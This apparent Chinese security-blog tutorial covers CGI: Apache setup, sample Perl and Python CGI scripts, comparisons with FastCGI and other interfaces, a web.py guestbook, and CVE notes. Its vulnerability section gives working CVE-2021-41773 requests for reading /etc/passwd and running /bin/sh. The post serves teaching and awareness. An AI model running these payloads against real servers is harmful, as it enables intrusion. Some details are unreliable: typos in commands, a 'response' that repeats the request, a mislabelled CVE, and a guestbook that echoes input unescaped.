【表哥有话说 第88期】CGI技术

admin 2023年5月22日11:55:45评论25 views字数 16208阅读54分1秒阅读模式

CGI技术

来喽,来喽,周分享它来喽

这期表哥们给大家带来的是CGI技术的讲解
废话不多说
让我们拿起小本本开始吧

什么是CGI

CGI是公共网关接口(Common Gateway Interface)英文缩写。CGI是一种在网络服务器上运行程序的标准协议,通常用于处理用户请求。CGI运行服务器调用外部程序,并将其输出返回给客户端。CGI的一个典型应用场景是用户在网页上提交一个表单,表单的数据被发送到服务器上的一个CGI脚本,CGI脚本根据数据生成相应的HTML页面并返回给用户。

配置CGI环境

1. 安装apache2

sudo apt install acache2
  • • 安装完成后查看状态

sudo systemctl status apache2
● apache2.service - The Apache HTTP Server
     Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled)
     Active: **active (running)** since Fri 2023-05-05 20:40:05 PDT; 5min ago
       Docs: https://httpd.apache.org/docs/2.4/
    Process: 3434 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
   Main PID: 3438 (apache2)
      Tasks: 56 (limit: 4572)
     Memory: 5.7M
     CGroup: /system.slice/apache2.service
             ├─3438 /usr/sbin/apache2 -k start
             ├─3439 /usr/sbin/apache2 -k start
             ├─3440 /usr/sbin/apache2 -k start
             └─3441 /usr/sbin/apache2 -k start

2. 建目录

sudo mkdir /var/www/cgi-bin/

3. 修改配置

sudo vim /etc/apache2/conf-enabled/serve-cgi-bin.conf
IfModule mod_alias.c>
        <IfModule mod_cgi.c>
                Define ENABLE_USR_LIB_CGI_BIN
        </IfModule>

        <IfModule mod_cgid.c>
                Define ENABLE_USR_LIB_CGI_BIN
        </IfModule>

        <IfDefine ENABLE_USR_LIB_CGI_BIN>
                ScriptAlias /cgi-bin/ **/var/www/cgi-bin/**
                <Directory "**/var/www/cgi-bin**">
                        AllowOverride All
                        Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
                        Require all granted
                        AddHandler cgi-script .cgi
                </Directory>
        </IfDefine>
</IfModule>
sudo vim /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
        # The ServerName directive sets the request scheme, hostname and port that
        # the server uses to identify itself. This is used when creating
        # redirection URLs. In the context of virtual hosts, the ServerName
        # specifies what hostname must appear in the request's Host: header to
        # match this virtual host. For the default virtual host (this file) this
        # value is not decisive as it is used as a last resort host regardless.
        # However, you must set it for any further virtual host explicitly.
        #ServerName www.example.com

        ServerAdmin webmaster@localhost
        DocumentRoot **/var/www/cgi-bin**

        # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
        # error, crit, alert, emerg.
        # It is also possible to configure the loglevel for particular
        # modules, e.g.
        #LogLevel info ssl:warn

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        # For most configuration files from conf-available/, which are
        # enabled or disabled at a global level, it is possible to
        # include a line for only one particular virtual host. For example the
        # following line enables the CGI configuration for this host only
        # after it has been globally disabled with "a2disconf".
        #Include conf-available/serve-cgi-bin.conf
</VirtualHost>

4. 创建软链接

ln -s /etc/apache2/mods-available/cgi.load cgi.load

5. 重启apache2

sudo /etc/init.d/apache2 restart

6. 访问测试网址

  • • 在/var/www/cgi-bin/目录下新建一个file.cgi

use strict;
use warnings;
use CGI;

# Create a new CGI object
my $cgi = CGI->new;

# Get the remote address and user agent from the environment variables
my $ip = $ENV{REMOTE_ADDR};
my $browser = $ENV{HTTP_USER_AGENT};

# Print the HTTP header
print $cgi->header('text/html');

# Print the HTML content
print <<EOF;
<html>
<head>
<title>Test CGI Script</title>
</
head>
<body>
<h1>Test CGI Script</h1>
<p>Your IP address is: $ip</p
>
<p>Your browser is: $browser</p>
</
body>
</html>
EOF
  • • 再新建一个board.cgi

#!/usr/bin/env python3ll
# -*- coding: utf-8 -*-

import cgi
import cgitb
import os
import datetime

cgitb.enable()

# 获取留言文件的路径
message_file = os.path.join(os.path.dirname(__file__), "messages.txt")

# 读取留言文件中的内容
messages = []
if os.path.exists(message_file):
    with open(message_file, "r", encoding="utf-8"as f:
        for line in f:
            line = line.strip()
            if line:
                messages.append(line)

# 获取表单中的数据
form = cgi.FieldStorage()
name = form.getvalue("name""")
content = form.getvalue("content""")

# 如果表单中有数据,就添加到留言列表中,并写入文件
if name and content:
    message = f"{name}{content} ({datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')})"
    messages.append(message)
    with open(message_file, "a", encoding="utf-8"as f:
        f.write(message + "n")

# 输出HTML页面
print("Content-Type: text/html; charset=utf-8")
print()
print("<!DOCTYPE html>")
print("<html>")
print("<head>")
print("<meta charset='utf-8'>")
print("<title>留言板</title>")
print("</head>")
print("<body>")
print("<h1>留言板</h1>")
print("<form method='post'>")
print("<p>姓名:<input type='text' name='name'></p>")
print("<p>内容:<textarea name='content' rows='5' cols='40'></textarea></p>")
print("<p><input type='submit' value='提交'></p>")
print("</form>")
print("<hr>")
print("<ul>")
for message in messages:
    print(f"<li>{message}</li>")
print("</ul>")
print("</body>")
print("</html>")

  • • 访问http://192.168.136.130/cgi-bin/file.cgi

【表哥有话说 第88期】CGI技术

  • • 访问http://192.168.136.130/cgi-bin/board.cgi

【表哥有话说 第88期】CGI技术

CGI的运行原理

  • • 当用户在浏览器中输入一个URL或点击一个链接时,Web服务器会接收到一个HTTP请求。

  • • 如果请求的URL包含了CGI程序的路径,Web服务器会启动该CGI程序,并将请求的信息作为参数传递给它。

  • • CGI程序会根据参数处理请求,并生成一个HTML文档或其他类型的输出,然后将其发送回Web服务器。

  • • Web服务器会将CGI程序的输出作为HTTP响应返回给浏览器,浏览器会显示或处理该输出。

【表哥有话说 第88期】CGI技术

CGI的漏洞

CVE漏洞

CVE-2021-41773 & CVE-2021-42013 涉及到路径遍历以及远程代码执行

CVE-2021-41773

引入路径遍历漏洞的原因是为路径规范化添加了新的代码更改,即 URL 路径从路径名中删除不需要或危险的部分,但不足以检测对路径遍历字符“dot-dot-slash (../)"

为了防止路径遍历攻击,负责从请求的 URI 解析 URL 编码值的规范化函数一次解析一个 Unicode 值。因此,当URL将第二个点编码为,逻辑无法识别为点,因此不对其进行解码,这会将字符转换为并绕过检查。%2e%2e../.%2e/

%2e = .

.%2e = ..

除了路径遍历检查绕过之外,对于易受攻击的 Apache HTTP 服务器,HTTP 服务器配置应包含整个服务器文件系统的目录指令,或者配置文件中应完全缺少目录指令。

<Directory />
        Require all granted
</DIrectory>

Request:

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Date: Mon, 18 Oct 2021 08:13:02 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
Connection: close
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

虽然 CVE-2021-41773 最初被记录为路径遍历和文件泄露漏洞,但其他研究得出的结论是,在 Apache HTTP 服务器上启用mod_cgi模块时,可以进一步利用该漏洞进行远程代码执行这允许攻击者利用路径遍历漏洞并使用 HTTP POST 请求调用系统上的任何二进制文件。

<IfModule !mpm_prefork_module>
        LoadModule cgid_module modules/mod_cgid.so
</IfModule>

虽然 CVE-2021-41773 最初被记录为路径遍历和文件泄露漏洞,但其他研究得出的结论是,在 Apache HTTP 服务器上启用mod_cgi模块时,可以进一步利用该漏洞进行远程代码执行,这允许攻击者利用路径遍历漏洞并使用 HTTP POST 请求调用系统上的任何二进制文件。

Request:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
Connection: close
echo;id

Response:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
Connection: close
echo;id

CVE-2021-42013

CGI与其他协议的对比

名称 定义 优点 缺点
CGI Common Gateway Interface,通用网关接口,是一种标准协议,用于连接Web服务器和Web应用程序。每个请求都会创建一个新的进程来处理。 简单,灵活,支持多种语言 性能低,资源消耗高,不支持持久连接
FastCGI Fast Common Gateway Interface,是一种改进的CGI协议,使用持久的进程来处理多个请求。可以配置多个进程,提高稳定性和可扩展性。 性能高,资源消耗低,支持持久连接 协议复杂,实现困难
SCGI Simple Common Gateway Interface,是一种类似于FastCGI的协议,但协议更简单易于实现。也使用持久的进程来处理多个请求。 协议简单,实现容易 不支持双向多路复用,性能不如FastCGI
WSGI Web Server Gateway Interface,是一种Python特有的接口标准,用于连接Web服务器和Web应用程序。可以使用不同的协议(如CGI,FastCGI,SCGI等)来实现WSGI。 Python语言特性,灵活,可移植 只适用于Python

详细内容

CGI的运行原理

    当用户在网页上发出一个请求,比如点击一个链接或提交一个表单,请求的URL会指向一个服务器上的CGI脚本。服务器会根据URL中的参数和请求方法,将一些信息传递给CGI脚本,比如查询字符串、内容长度、请求方法等,这些信息通常通过环境变量或命令行参数传递。服务器还会将请求的主体部分,比如表单数据,通过标准输入流传递给CGI脚本。CGI脚本会根据接收到的信息进行相应的处理,比如查询数据库、生成动态内容等,并将处理结果通过标准输出流返回给服务器。返回的结果必须包含一个合法的HTTP头部,指明内容类型、状态码等信息,然后是一个空行,再然后是实际的内容,比如HTML页面、图片数据等。服务器会将CGI脚本的输出作为响应发送给用户。

运用CGI的例子

    一个简单的计数器脚本,它可以显示网页被访问的次数。这个脚本可以用C语言或Perl语言编写,并放在服务器的cgi-bin目录下。当用户请求这个脚本的URL时,服务器会执行这个脚本,并将其输出返回给用户。输出是一个包含计数器值的HTML页面,每次访问都会增加一。这个脚本需要一个文本文件来存储计数器值,并在每次执行时读取和更新这个文件。

CGI可能存在的安全漏洞

产生原因:由于用户输入没有被正确地解析或过滤,导致攻击者可以通过网页URL传递一些参数或命令,从而执行一些恶意的操作。列举如下:

  • • 利用CGI脚本的权限,访问或修改服务器上的敏感文件或数据

  • • 利用CGI脚本的内存问题,注入或执行一些恶意的代码

  • • 利用CGI脚本的输入验证问题,传递一些非法或危险的数据,造成服务器的溃或拒绝服务。为了避免这些漏洞,你在使用CGI的时候应该注意以下几点:

  • • 限制CGI脚本的权限,不要让它们以root用户或其他高权限用户运行。

  • • 管理好CGI脚本的内存分配和释放,避免内存泄露或溢出。

  • • 对用户输入进行严格的验证和过滤,防止SQL注入、跨站脚本、命令执行等攻击。

CGI的优缺点

CGI的优点有:

  • • CGI是一个非常明确和支持良好的标准,可以用任何语言和平台编写CGI程序,只要符合规范。

  • • CGI可以实现网页和外部程序或数据库的交互,提供动态内容和功能。

  • • CGI有很多现成的代码和框架,可以方便地实现一些常见的任务,比如计数器、表单处理、访问控制等。

CGI的缺点有:

  • • CGI每次处理请求时都需要启动一个新的进程,占用服务器的内存和资源,效率低下。

  • • CGI不能很好地在内存中缓存数据,每次都需要打开或关闭数据库连接,速度慢。

  • • CGI需要对用户输入进行严格的验证和过滤,否则可能会遭受SQL注入、跨站脚本、命令执行等攻击。

CGI的横向对比

实现服务端和客户端交互的其他方式

  • • Servlet:一种基于Java的技术,可以在服务器上运行Java程序,比CGI更快、更稳定、更安全。

  • • ASP:一种基于Microsoft的技术,可以在服务器上运行VBScript或JScript程序,提供了丰富的组件和功能。

  • • PHP:一种基于开源的技术,可以在服务器上运行PHP程序,支持多种数据库和平台,易于学习和使用。

CGI和其他技术的区别

  • • CGI是一种协议,而不是一种语言,它可以用任何语言和平台实现,只要符合规范。其他技术,比如Servlet、ASP、PHP等,都是基于特定的语言或平台的技术,有自己的语法和特性。

  • • CGI每次处理请求时都需要启动一个新的进程,占用服务器的内存和资源,效率低下。其他技术,比如Servlet、ASP、PHP等,都是在服务器上运行一个持久的程序,可以在内存中缓存数据和连接,速度快。

  • • CGI需要对用户输入进行严格的验证和过滤,否则可能会遭受SQL注入、跨站脚本、命令执行等攻击。其他技术,比如Servlet、ASP、PHP等,都提供了一些内置的函数或组件,可以方便地处理用户输入和输出,提高安全性。

  • • CGI有很多现成的代码和框架,可以方便地实现一些常见的任务,比如计数器、表单处理、访问控制等。其他技术,比如Servlet、ASP、PHP等,也有很多成熟的库和框架,可以提供更多的功能和扩展性。

CGI在现在的网页开发中还有一定的用处,但已经不是主流的技术了。

CGI的用处主要有以下几点:

  • • CGI可以实现一些简单的动态内容和功能,比如计数器、表单处理、访问控制等,不需要安装或配置复杂的服务器或框架。

  • • CGI可以用任何语言和平台实现,只要符合规范,可以充分利用现有的代码和资源,也可以学习一些新的语言或技术。

  • • CGI可以作为一种学习和实验的工具,了解网页和服务器之间的交互原理和过程,以及一些安全和性能的问题和解决方法。

CGI已经不是主流的技术的原因主要有以下几点:

  • • CGI每次处理请求时都需要启动一个新的进程,占用服务器的内存和资源,效率低下,不能满足高并发和高性能的需求。

  • • CGI不能很好地在内存中缓存数据和连接,每次都需要打开或关闭数据库连接,速度慢,也容易出现错误或冲突。

  • • CGI需要对用户输入进行严格的验证和过滤,否则可能会遭受SQL注入、跨站脚本、命令执行等攻击,这些攻击已经非常普遍和危险。

  • • CGI有很多现成的代码和框架,但也有很多过时或不兼容的代码和框架,需要花费时间和精力去选择和维护。

CGI的框架

  • • CGI::Framework:一个用Perl语言编写的轻量级的CGI框架,提供了一些基本的功能,如参数验证、会话管理、错误处理等。

  • • Web.py:一个用Python语言编写的简单而强大的CGI框架,提供了一些高级的功能,如模板系统、数据库访问、缓存机制等。

  • • Sinatra:一个用Ruby语言编写的极简主义的CGI框架,提供了一种优雅而灵活的方式来定义路由和处理请求。

CGI的实例

Web.py的例子,这是一个用Python语言编写的CGI框架。假设你想用这个框架来实现一个简单的留言板功能,你需要做以下几个步骤:

  • • 在你的服务器上创建一个cgi-bin目录,这是存放CGI脚本的地方。

  • • 在cgi-bin目录下创建一个guestbook.py文件,这是你的主要的CGI脚本,它的内容如下:

#!/usr/bin/env python
import web # import the web.py module

# define the URLs and their corresponding classes
urls = (
    '/''show_messages'# show the messages on the guestbook
    '/add''add_message'# add a new message to the guestbook
)

# define the template for rendering the HTML pages
render = web.template.render('templates/')

# define the class for showing the messages
class show_messages:
    def GET(self): # define the GET method
        messages = self.get_messages() # get the messages from the data file
        return render.show(messages) # render the show.html template with the messages

    def get_messages(self): # define a helper method to get the messages
        messages = [] # create an empty list to store the messages
        with open('data/guestbook.txt'as f: # open the data file
            for line in f: # iterate over each line in the file
                name, message, timestamp = line.strip().split('|'# split the line by '|'
                messages.append((name, message, timestamp)) # append a tuple of name, message and timestamp to the list
        return messages # return the list of messages

# define the class for adding a new message
class add_message:
    def POST(self): # define the POST method
        i = web.input() # get the user input from the web form
        name = i.get('name'# get the name from the user input
        message = i.get('message'# get the message from the user input
        self.validate(name, message) # validate the name and message
        self.add_message(name, message) # add the name and message to the data file
        raise web.seeother('/'# redirect to the home page

    def validate(self, name, message): # define a helper method to validate the name and message
        if not name or not message: # if either name or message is empty
            raise web.badrequest("Please enter your name and message"# raise a bad request error

    def add_message(self, name, message): # define a helper method to add the name and message to the data file
        import time # import the time module
        timestamp = int(time.time()) # get the current timestamp as an integer
        with open('data/guestbook.txt''a'as f: # open the data file in append mode
            f.write(f'{name}|{message}|{timestamp}n'# write a line with name, message and timestamp separated by '|'

# create a new web application with the URLs and classes
app = web.application(urls, globals())

# run the application if this file is executed as a script
if __name__ == '__main__':
    app.run()
  • • 在cgi-bin目录下创建一个templates文件夹,这是用来存放HTML模板的文件夹。

  • • 在templates文件夹下创建一个base.html文件,这是用来定义HTML页面的基本结构的文件,它的内容如下:

$def with (title)
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>$title</title>
</head>
<body>
    $:content()
</body>
</html>
  • • 在templates文件夹下创建一个add.html文件,这是用来显示添加留言成功的文件,它的内容如下:

$def with ()
$var title: Guestbook

$extends('base.html')

$def content():
<h1>Guestbook</h1>
<p>Your message has been added.</p>
<p><a href="/">Go back to the guestbook</a></p>
  • • 在cgi-bin目录下创建一个data文件夹,这是用来存放留言数据的文件夹。

  • • 在data文件夹下创建一个guestbook.txt文件,这是用来存放留言数据的文本文件,它的内容可以为空或者有一些示例数据,每一行代表一条留言,格式为:姓名|留言内容|时间戳。例如:

Alice|Hello world!|1639566000
Bob|Nice to meet you!|1639566600
Charlie|Happy holidays!|1639567200
  • • 为了让你的CGI脚本可以被服务器执行,你需要给它赋予可执行权限,比如在Linux系统下,你可以使用chmod命令:

chmod +x guestbook.py
  • • 现在你可以在浏览器中访问你的CGI脚本的URL,比如http://localhost/cgi-bin/guestbook.py,你就可以看到你的留言板页面了。你也可以添加新的留言,或者刷新页面看到其他人的留言。

各种语言对CGI的实现

主要是遵循CGI的协议和标准,通过和服务器交换一些特定的环境变量和数据,来实现动态内容的生成和返回。比如说:

  • • Java:可以使用Java Servlet技术来实现CGI,Servlet是一种运行在服务器上的Java程序,可以接收和处理客户端的请求,生成动态的HTML页面或其他类型的文档。Servlet可以使用Java的标准库或第三方的库来访问数据库或其他服务器。Servlet也可以使用JSP(Java Server Pages)技术来简化HTML页面的生成。

  • • Python:可以使用Python的标准库中的cgi模块来实现CGI,cgi模块提供了一些类和函数来处理客户端的请求,获取表单数据,输出HTTP头部和内容等。Python也有很多第三方的框架或库来简化CGI开发,比如Web.py、Flask、Django等。

  • • PHP:可以使用PHP的内置功能来实现CGI,PHP是一种专门用于网页开发的语言,它可以嵌入到HTML页面中,或者作为一个独立的脚本运行。PHP可以直接获取客户端的请求数据,输出HTTP头部和内容,以及访问数据库或其他服务器。PHP也有很多第三方的框架或库来简化CGI开发,比如Laravel、Symfony、CodeIgniter等。

CGI的漏洞

有一些关于CGI的CVE漏洞,比如:

  • • CVE-2021-41773:一个影响Apache HTTP Server 2.4.49版本的漏洞,利用路径规范化的变化,可以实现路径遍历攻击,将URL映射到Alias-like指令配置之外的文件。如果这些文件没有受到默认配置的保护,这些请求可以成功。如果这些路径也启用了CGI脚本,这可能导致远程代码执行。这个漏洞已经被在野利用。Apache HTTP Server 2.4.50版本的修复也不完整,参见CVE-2021-420131。

  • • CVE-2021-2021:一个影响Oracle MySQL Server 8.0.22及之前版本的漏洞,位于Server: Optimizer组件。高权限的攻击者可以通过多种协议的网络访问来攻击MySQL Server。成功的攻击可以导致MySQL Server挂起或频繁崩溃2。

  • • CVE-2021-22204:一个影响ExifTool的漏洞,位于DjVu模块。当解析一个恶意的图像时,可以实现任意代码执行。这个漏洞影响了ExifTool 7.44及之前版本3。

  • • CVE-2022-31126:一个影响Roxy-wi的漏洞,Roxy-wi是一个用于管理Haproxy, Nginx, Apache和Keepalived服务器的开源Web界面。攻击者可以通过向/app/options.py文件发送一个特制的HTTP请求来实现代码执行。这个漏洞影响了Roxy-wi 6.1.1.0之前的版本4。如果你想了解更多关于CGI的CVE漏洞的信息,你可以访问以下英文网站:

  • • NVD - CVE-2021-41773 - NIST**1**:一个介绍CVE-2021-41773漏洞的网页,提供了漏洞描述、严重程度、修复信息、参考链接等信息。

  • • CVE - CVE-2021-2021 - Common Vulnerabilities and Exposures2:一个介绍CVE-2021-2021漏洞的网页,提供了漏洞描述、参考链接等信息。

  • • CVE - CVE-2021-22204 - Common Vulnerabilities and Exposures**3**:一个介绍CVE-2021-22204漏洞的网页,提供了漏洞描述、参考链接等信息。

  • • CVE - Search Results - Common Vulnerabilities and Exposures**4**:一个搜索CGI相关CVE漏洞的网页,提供了多个CVE漏洞的标题、摘要和链接。



长按下方的二维码关注我们

 【表哥有话说 第88期】CGI技术

 下期表哥们的干货

   已经在等你了

【表哥有话说 第88期】CGI技术

原文始发于微信公众号(SKSEC):【表哥有话说 第88期】CGI技术

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月22日11:55:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【表哥有话说 第88期】CGI技术https://cn-sec.com/archives/1748312.html

发表评论

匿名网友 填写信息